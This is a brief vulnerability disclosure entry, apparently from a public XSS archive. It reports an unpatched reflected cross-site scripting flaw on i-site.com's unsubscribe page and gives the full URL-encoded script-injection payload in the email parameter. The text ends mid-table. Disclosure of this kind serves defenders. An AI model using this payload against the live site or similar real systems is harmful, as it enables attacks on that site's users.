i-site.com XSS vulnerability

Vulnerable URL: http://www.i-site.com/i-news/unsub.php?email=%27%22%3E%3E%3C/title%3E%27%22%3ESCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:|...